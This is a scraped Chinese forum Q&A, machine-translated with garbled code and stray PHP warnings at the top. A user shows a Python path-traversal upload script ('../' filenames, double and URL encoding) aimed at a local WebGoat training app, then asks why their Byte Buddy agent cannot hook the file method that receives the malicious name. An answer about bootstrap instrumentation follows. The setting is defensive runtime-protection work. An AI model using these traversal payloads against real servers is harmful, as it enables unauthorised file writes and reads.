Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/java/384.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
java中的bytebuddy钩子上载文件攻击_Java_Webhooks_Byte Buddy - Fatal编程技术网

java中的bytebuddy钩子上载文件攻击

java中的bytebuddy钩子上载文件攻击,java,webhooks,byte-buddy,Java,Webhooks,Byte Buddy,攻击脚本: 导入请求 导入json 导入系统 导入URL库 导入urllib.request 标题={ “用户代理”:“Mozilla/5.0(Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,类似Gecko)Chrome/84.0.4147.125 Safari/537.36”, “Cookie”:“JSESSIONID=0V6z1FZvktzdwlqFbwGJ6MMhtuIK09MbrLzO6eZR;” } # 请求网址 url\u列表=[

攻击脚本:

导入请求
导入json
导入系统
导入URL库
导入urllib.request
标题={
“用户代理”:“Mozilla/5.0(Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,类似Gecko)Chrome/84.0.4147.125 Safari/537.36”,
“Cookie”:“JSESSIONID=0V6z1FZvktzdwlqFbwGJ6MMhtuIK09MbrLzO6eZR;”
}
# 请求网址
url\u列表=[
'http://127.0.0.1:8080/WebGoat/PathTraversal/profile-上传',
'http://127.0.0.1:8080/WebGoat/PathTraversal/profile-上传补丁',
# 'http://127.0.0.1:8080/WebGoat/PathTraversal/random-图片?id=%2e%2e%2f%2e%2e%2f路径遍历机密'
'http://127.0.0.1:8080/WebGoat/PathTraversal/random-图片?id=%2e%2e%2ftest\u上载\u 2'
]
# 待上传文件,可以为任意类型
upload_file='/home/amos/amos/test/phpto/php/1.jpg'
# 路径穿越
def post_文件():
url=url\u列表[0]
#窗户
#文件名:可以为本地任意类型文件(相应的更改 资料中 全名字段的文件后缀)
文件名=上传文件
#文件名='C:\\Users\\mi\\Desktop\\test\u upload.txt'
files={'uploadedFile':打开(文件名'rb')}
数据={
“全名”:“../test_uploadamos_1.jpg”,
“电子邮件”:test@test.com',
“密码”:“测试”
}
尝试:
r=requests.post(url,headers=headers,files=files,data=data)
ret_data=json.loads(r.text)
如果ret_数据['lessonCompleted']==True:
打印(“[*]文件已上载,请检查目录:.webgoat-8.1.0\PathTraversal”)
其他:
打印(“[*]文件上载失败”)
除:
打印(“[*]连接错误”)
# 双重编码
def post_文件_2():
url=url\u列表[1]
文件名=上传文件
files={'uploadedFileFix':打开(文件名'rb')}
数据={
“fullNameFix”:“..//test_upload_2.jpg”,
“emailFix”:”test@test.com',
“密码修复”:“测试”
}
尝试:
r=requests.post(url,headers=headers,files=files,data=data)
ret_data=json.loads(r.text)
如果ret_数据['lessonCompleted']==True:
打印(“[*]文件已上载,请检查目录:.webgoat-8.1.0\PathTraversal”)
其他:
打印(“[*]文件上载失败”)
除:
打印(“[*]连接错误”)
#网址编码
def read_jpg():
url=url\u列表[2]
#url='1〕http://127.0.0.1:8080/WebGoat/PathTraversal/random-图片?id=%2e%2e%2ftest\u上载\u 2'
尝试:
request=urllib.request.request(url,headers=headers,method=“GET”)
response=urllib.request.urlopen(请求)
打印(response.read())
打印(“[*]成功读取目标jpg”)
除:
打印(“[*]连接错误”)
def main():
如果len(系统argv)<2:
打印(“[*]输入大小写”)
sys.exit()
case=sys.argv[1]
如果案例=='1':
post_文件()
elif case==“2”:
post_文件_2()
elif case==“3”:
阅读(jpg)
其他:
打印(“[*]大小写错误”)
sys.exit()
如果uuuu name uuuuuu='\uuuuuuu main\uuuuuuu':
main()
amos@amosPC
现在我使用bytebuddy尝试钩住bottom方法,并获取攻击scrpt输入“./test\u uploadamos\u 1.jpg”。但它不起作用。java代码如下:

@覆盖
公共DynamicType.Builder转换(DynamicType.Builder、TypeDescription、TypeDescription、ClassLoader、ClassLoader、JavaModule、JavaModule){
返回生成器
.method(ElementMatchers.any())
.intercept(MethodDelegation.to(Interceptor.class));
}
*********
新代理生成器
.Default()
.type(ElementMatchers.nameStartsWith(TargetPackage.SQL\u INJECTION\u PACKAGE)
.或(ElementMatchers.nameStartsWith(TargetPackage.FILE\u OPERATE\u PACKAGE)))
.变换(变压器)
.与(听众)
.installOn(inst);
*************
私有静态列表getStrArgs(@Origin方法,@AllArguments对象[]args){
int argsNum=method.getParameterCount();
List strArgs=new ArrayList();
logger.error(“amos文件::::>>>>>>>>>>>>>>”+方法.toString());
对于(int i=0;i>>>>>>>>>>>>>>>”+args[i]);
if(method.getParameterTypes()[i].toString().equals(“class java.io.File”)){
添加(args[i].toString());
}
}
返回条;
}
我想获得接收“./test\u uploadamos\u 1.jpg”参数的方法,但从未成功。 我将
TargetPackage.FILE\u OPERATE\u PACKAGE
值更改为
java.io.FILE
java
org.appache
等,但未使用。 我试图从百度/openrasp获得一些关于钩点的信息,但也没有使用

对于SQLInjection,我将
TargetPackage.SQL\u INJECTION\u PACKAGE
值设置为
org.hsqldb.jdbc.JDBCStatement
,这是有效的。我可以获取用户输入参数

如果有人能帮助我,我将不胜感激


ps:应用程序是webgoat。

您可能需要更改
。忽略(…)
参数。默认情况下,Byte Buddy不会为Java核心类插入指令。方法委派也不太可能对它们起作用,因为您的代理加载在引导加载程序上,无法从系统类加载程序读取


如果您想在引导加载程序上插入类,您可能需要使用
Advice
进行插入。

谢谢,我在哪里可以获得
Advice
代码模板,它可以在引导加载程序上插入类。这些模板是您自己编写的。由于代码是内联的,因此必须能够像执行所有链接代码一样执行在同一类加载程序上。如果要与其他代码通信,则需要将其注入引导加载程序。